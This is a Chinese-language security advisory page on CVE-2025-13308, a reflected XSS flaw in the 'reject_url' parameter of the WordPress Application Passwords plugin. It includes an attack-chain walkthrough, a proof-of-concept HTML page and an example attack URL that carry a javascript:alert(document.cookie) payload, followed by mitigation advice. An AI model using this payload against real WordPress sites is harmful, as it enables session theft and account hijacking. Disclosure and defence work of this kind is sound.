IPBUF安全漏洞报告
English
CVE-2025-13308 CVSS 5.4 中危

CVE-2025-13308 WordPress Application Passwords插件反射型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13308
漏洞类型
反射型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WordPress Application Passwords插件

相关标签

反射型XSSWordPress插件漏洞Application PasswordsCVE-2025-13308跨站脚本会话劫持社交工程攻击

漏洞概述

CVE-2025-13308是WordPress Application Passwords插件中的一个反射型跨站脚本(XSS)漏洞。该插件用于管理WordPress应用程序密码,在0.1.3及以下所有版本中存在安全缺陷。漏洞源于对用户提供的'reject_url'参数缺乏充分的输入 sanitization 和输出 escaping,攻击者可以利用此漏洞在URL中嵌入javascript: URI方案。当用户点击"No, I do not approve of this connection"按钮时,恶意注入的JavaScript代码将执行。虽然此漏洞需要用户交互(如点击特制链接)才能被利用,但由于攻击复杂度较低且可通过社交工程手段诱导受害者,因此构成一定的安全风险。攻击成功后,攻击者可在用户浏览器中执行任意JavaScript代码,可能窃取会话cookie、劫持用户账户或进行其他恶意操作。

技术细节

漏洞根源在于Application Passwords插件的auth-app.js文件(第61行)和class.application-passwords.php文件(第418行和第432行)对'reject_url'参数处理不当。攻击者可以构造包含javascript:协议的恶意URL,当受害者访问该链接并点击拒绝连接的按钮时,浏览器会执行注入的JavaScript代码。具体攻击流程为:攻击者构造包含javascript:alert(document.cookie)的reject_url参数链接,通过钓鱼邮件或社交工程手段诱导受害者点击。受害者点击后,恶意JavaScript代码在其浏览器上下文中执行,可窃取认证令牌、会话信息或执行其他客户端攻击。由于该参数值被直接反射到HTML响应中而未经适当转义,导致恶意脚本被执行。此漏洞属于存储型XSS的前置条件,但以反射方式触发,攻击效果与存储型XSS相当。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用WordPress并安装了Application Passwords插件(版本<=0.1.3)
STEP 2
构造恶意链接
攻击者构造包含javascript:协议的payload的reject_url参数,构建恶意URL
STEP 3
社会工程攻击
攻击者通过钓鱼邮件、即时消息或其他方式诱导受害者点击特制的恶意链接
STEP 4
触发漏洞
受害者访问恶意链接后,点击"No, I do not approve of this connection"按钮
STEP 5
XSS执行
由于reject_url参数未经过滤直接反射到页面,javascript:协议被执行,恶意脚本在受害者浏览器中运行
STEP 6
会话劫持
攻击者通过执行的JavaScript窃取受害者的Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13308 PoC - Reflected XSS in WordPress Application Passwords Plugin --> <!-- Target: WordPress site with Application Passwords plugin <= 0.1.3 --> <!DOCTYPE html> <html> <head> <title>CVE-2025-13308 PoC</title> </head> <body> <h2>CVE-2025-13308 - Reflected XSS PoC</h2> <p>Click the link below to trigger the XSS vulnerability:</p> <!-- Malicious URL construction --> <a id="malicious-link" href="#" target="_blank">Malicious Link</a> <script> // Construct the malicious URL // The vulnerable parameter is 'reject_url' in the Application Passwords flow const targetBase = window.location.origin + '/wp-admin/admin.php?page=application-passwords'; const maliciousPayload = 'javascript:alert(document.cookie)//'; const maliciousUrl = targetBase + '&reject_url=' + encodeURIComponent(maliciousPayload); document.getElementById('malicious-link').href = maliciousUrl; document.getElementById('malicious-link').textContent = maliciousUrl; console.log('PoC URL:', maliciousUrl); </script> <h3>Attack Scenario:</h3> <ol> <li>Attacker crafts a URL with javascript: payload in reject_url parameter</li> <li>Victim is tricked into clicking the malicious link</li> <li>Victim clicks "No, I do not approve of this connection" button</li> <li>Malicious JavaScript executes in victim's browser context</li> </ol> <h3>Real-world Attack URL Format:</h3> <pre id="real-url"></pre> <script> // Display example real attack URL const exampleUrl = 'https://target-wordpress-site.com/wp-admin/admin.php?page=application-passwords&reject_url=javascript:alert(document.cookie)'; document.getElementById('real-url').textContent = exampleUrl; </script> </body> </html>

影响范围

Application Passwords插件 <= 0.1.3(所有版本)

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制用户对Application Passwords功能的使用权限;2)配置Web应用防火墙规则拦截包含javascript:协议的请求参数;3)在WordPress中启用并配置Content-Security-Policy头部;4)加强对管理员和用户的安全培训,提高对钓鱼攻击的警惕性;5)考虑暂时禁用Application Passwords插件直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表